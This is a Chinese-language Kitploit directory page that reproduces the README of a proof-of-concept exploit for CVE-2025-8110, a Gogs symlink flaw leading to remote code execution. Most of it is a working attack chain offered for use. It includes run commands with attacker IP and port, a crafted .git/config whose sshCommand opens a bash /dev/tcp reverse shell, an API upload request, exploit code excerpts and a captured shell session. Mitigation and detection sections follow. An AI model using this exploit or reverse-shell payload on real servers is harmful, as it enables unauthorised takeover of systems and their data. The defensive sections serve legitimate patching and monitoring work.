Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-8110 — CVE-2025-8110 的 PoC 利用 | Kitploit
工具/GitHubGitHub/joaquinrrr/cve-2025-8110
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

CVE-2025-8110 的 PoC 利用

查看仓库
512个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-8110

Gogs 仓库符号链接远程代码执行漏洞

由 oguiii 制作


目录

  • 概述
  • 功能特性
  • 环境要求
  • 安装
  • 使用方法
  • 漏洞利用流程
  • 技术分析
  • 概念验证演示
  • 受影响版本
  • 缓解措施
  • 检测方法
  • 免责声明
  • 许可证

概述

CVE-2025-8110 是 Gogs 中的一个严重漏洞,允许经过身份验证的攻击者通过仓库符号链接操纵实现远程代码执行。此概念验证演示了从身份验证到获取反向 shell 的完整攻击链。

该漏洞的存在是因为 Gogs 在处理仓库文件时通过 API 跟随符号链接,使得攻击者能够读取和修改敏感文件(如 .git/config)。通过注入恶意的 sshCommand 指令,可以以 Gogs 服务账户的权限执行任意系统命令。

CVSS 评分: 7.2(高危)
攻击向量: 网络
需要身份验证: 是
用户交互: 无
影响: 完全系统沦陷


功能特性

  • 自动 CSRF 令牌提取,支持多种备用方法
  • 会话管理和身份验证处理
  • 自动创建仓库,参数可配置
  • 基于符号链接的漏洞利用工作流
  • 反向 shell 载荷生成
  • 代理支持,用于调试和分析
  • 详细日志记录和错误处理
  • 彩色控制台输出,提高可读性
  • 详细模式用于故障排除

环境要求

系统要求

  • Python 3.6 或更高版本
  • 已安装 Git 并可在 PATH 中访问
  • 能够访问目标 Gogs 实例的网络

Python 依赖

root@kitploit:~
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

安装

克隆与设置

root@kitploit:~
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

项目结构

root@kitploit:~
CVE-2025-8110/
├── CVE-2025-8110.py    # 主漏洞利用脚本
├── requirements.txt    # Python 依赖列表
└── README.md          # 文档

使用方法

命令行选项

基本用法

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

使用代理进行调试

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

详细模式用于故障排除

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

漏洞利用流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 漏洞利用链                                 │
└─────────────────────────────────────────────────────────────────────────────┘

步骤 1:身份验证
├── 访问 /user/login
├── 从登录页面提取 CSRF 令牌
├── 使用 CSRF 令牌提交凭据
└── 建立已验证的会话

步骤 2:生成应用令牌
├── 访问 /user/settings/applications
├── 从设置页面提取 CSRF 令牌
├── 生成新的应用令牌
└── 从响应中提取令牌

步骤 3:创建恶意仓库
├── 通过 API 创建仓库,使用 auto_init
├── 生成随机仓库名称
└── 获取仓库 URL

步骤 4:上传符号链接
├── 本地克隆仓库
├── 创建指向 .git/config 的符号链接
├── 添加、提交并推送更改
└── 验证上传成功

步骤 5:RCE 利用
├── 构造包含 sshCommand 的恶意 .git/config
├── 将配置内容进行 Base64 编码
├── 通过 API 上传到符号链接目标
└── 触发命令执行

步骤 6:反向 shell
├── 与攻击者主机建立连接
├── 交互式 shell 访问
└── 在目标上执行命令

技术分析

漏洞根本原因

Gogs 在通过 API 处理仓库文件时未能正确清理符号链接遍历。当通过 API 端点访问文件时,Gogs 会跟随符号链接而不进行验证,从而允许访问仓库目录之外的其他敏感文件。

攻击向量细节

  1. 符号链接创建

    root@kitploit:~
    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "添加符号链接"
    git push origin master
    
  2. 恶意配置

    root@kitploit:~
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. API 利用

    root@kitploit:~
    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "利用 CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

代码分析

CSRF 令牌提取

root@kitploit:~
def extract_csrf(html_text):
    """从隐藏输入中解析 CSRF 令牌,包含多种备用方法。"""
    # 方法 1:名称为 _csrf 的输入
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # 方法 2:名称为 csrf_token 的输入
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # 方法 3:包含 CSRF 的 meta 标签
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # 方法 4:script 标签中的正则模式
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # 方法 5:隐藏输入的正则
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("表单响应中未找到 CSRF 令牌")

恶意配置注入

root@kitploit:~
git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

概念验证演示

攻击设置

root@kitploit:~
# 攻击者机器 (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# 执行漏洞利用
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

成功利用的输出

root@kitploit:~
[INFO] 开始 CVE-2025-8110 漏洞利用
[INFO] 目标 URL: https://gogs.internal.local
[INFO] 攻击者主机: 10.10.14.15:4444
[INFO] 用户名: admin

[INFO] 正在向 Gogs 进行身份验证...
[INFO] 登录 CSRF 令牌已找到: abc123def456...
[SUCCESS] 身份验证成功

[INFO] 正在获取应用令牌...
[INFO] 设置 CSRF 令牌已找到: xyz789uvw012...
[SUCCESS] 应用令牌: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] 正在创建恶意仓库...
[SUCCESS] 仓库已创建: 6f7e8d9c0a1b

[INFO] 正在上传恶意符号链接...
[INFO] 正在克隆仓库...
[INFO] 正在创建符号链接: malicious_link -> .git/config
[INFO] 正在提交并推送更改...
[SUCCESS] 符号链接上传成功

[INFO] 正在发送漏洞载荷...
[SUCCESS] 载荷已发送,请检查你的监听器!

[INFO] 命令: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] 漏洞利用可能成功(超时表示反向 shell 已建立)

反向 shell 连接

root@kitploit:~
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

受影响版本

存在漏洞的版本

  • Gogs 0.12.6 之前的版本
  • 所有启用了符号链接支持的版本(默认配置)

版本检查

要检查你的 Gogs 版本:

root@kitploit:~
# 访问 Gogs 网页界面并查看页脚
# 或者使用 API
curl https://gogs.example.com/api/v1/version

缓解措施

立即操作

  1. 更新 Gogs

    root@kitploit:~
    # 备份现有安装
    cp -r /home/gogs/gogs /home/gogs/gogs.backup
    
    # 下载并安装最新版本
    wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
    unzip gogs_latest_linux_amd64.zip
    cd gogs
    ./gogs web
    
  2. 禁用符号链接支持

    root@kitploit:~
    # 在 custom/conf/app.ini 中
    [repository]
    DISABLE_SYMLINKS = true
    
  3. 实施输入验证

    • 在处理前清理文件路径
    • 防止符号链接遍历
    • 验证文件类型和内容

长期安全措施

  • 对 Gogs 服务账户实施最小权限原则
  • 定期进行安全审计和渗透测试
  • 通过网络分段限制 Gogs 暴露范围
  • 实施 Web 应用防火墙(WAF)规则
  • 启用全面日志记录和监控
  • 定期备份 Gogs 配置和仓库

防火墙规则

root@kitploit:~
# 限制对 Gogs API 的访问
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

检测方法

可疑活动指标

  1. 仓库活动

    • 创建包含符号链接的仓库
    • 短时间内创建多个仓库
    • 不寻常的仓库名称(随机十六进制字符串)
  2. API 活动

    • 对 /api/v1/repos/*/contents/* 的 PUT 请求
    • 通过 API 修改 .git/config
    • 单个会话中 API 请求频率过高
  3. 系统指标

    • Gogs 用户生成了意外进程
    • Gogs 服务器发起出站网络连接
    • 不寻常的文件系统访问模式

日志分析命令

root@kitploit:~
# 检查 Gogs 访问日志中是否存在 API 利用
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# 监控仓库中是否创建了符号链接
find /home/gogs/gogs-repositories -type l

# 检查是否存在可疑的 git 配置修改
grep -r "sshCommand" /home/gogs/gogs-repositories/

# 监控出站连接
ss -tunp | grep gogs

SIEM 集成

root@kitploit:~
{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "git 配置中包含 sshCommand",
    "随机十六进制仓库名称"
  ],
  "recommended_actions": [
    "审查仓库创建日志",
    "检查符号链接文件",
    "验证 API 访问模式"
  ]
}

负责任的披露

此漏洞已被发现并负责任地披露给 Gogs 开发团队。供应商已在 0.12.6 版本中发布补丁。

时间线

  • 发现: 2025 年 5 月
  • 负责任披露: 2025 年 6 月
  • 补丁发布: 2025 年 6 月
  • 公开披露: 2025 年 6 月

附加资源

  • Gogs 官方安全公告
  • CWE-61:UNIX 符号链接跟随
  • OWASP 测试指南 - 路径遍历
  • Git 钩子文档
  • Gogs API 文档

免责声明

此工具仅供教育和授权安全测试使用。用户必须:

  1. 在测试任何系统前获得明确的书面许可
  2. 遵守所有适用的法律法规
  3. 负责任且合乎道德地使用此工具
  4. 不得将此工具用于任何恶意或未经授权的目的

作者对此工具的任何滥用或造成的损害不承担任何责任。


许可证

MIT 许可证

版权所有 (c) 2025 oguiii

特此免费授予任何获得本软件副本及相关文档文件(“软件”)的人不受限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售本软件副本的权利,并允许获得本软件的人这样做,但须符合以下条件:

上述版权声明和本许可声明应包含在本软件的所有副本或重要部分中。

本软件按“原样”提供,不提供任何明示或默示的担保,包括但不限于适销性、特定用途适用性和不侵权的担保。在任何情况下,作者或版权持有者均不对因本软件或本软件的使用或其他交易而引起的任何索赔、损害或其他责任负责,无论是基于合同、侵权或其他行为。


联系方式

  • GitHub: github.com/oguiii
  • 项目: CVE-2025-8110 漏洞利用

致谢

  • 原始发现: zAbuQasem
  • CVE 发布: MITRE 公司
  • 社区: 验证了该漏洞的安全研究员和渗透测试人员

更新日志

版本 1.0.0(2025-06-25)

  • 初始发布
  • 完整攻击链实现
  • 支持备用方法的 CSRF 令牌提取
  • 自动仓库创建和符号链接上传
  • 反向 shell 载荷生成
  • 代理支持用于调试
  • 全面文档

由 oguiii 倾心制作

下载工具
选项描述必需
-u, --urlGogs 基本 URL(例如 https://gogs.example.com)是
-lh, --host攻击者 IP 地址,用于反向 shell是
-lp, --port攻击者端口,用于反向 shell是
-U, --usernameGogs 用户名是
-P, --passwordGogs 密码是
-x, --proxy启用代理(localhost:8080)否
-v, --verbose启用详细输出否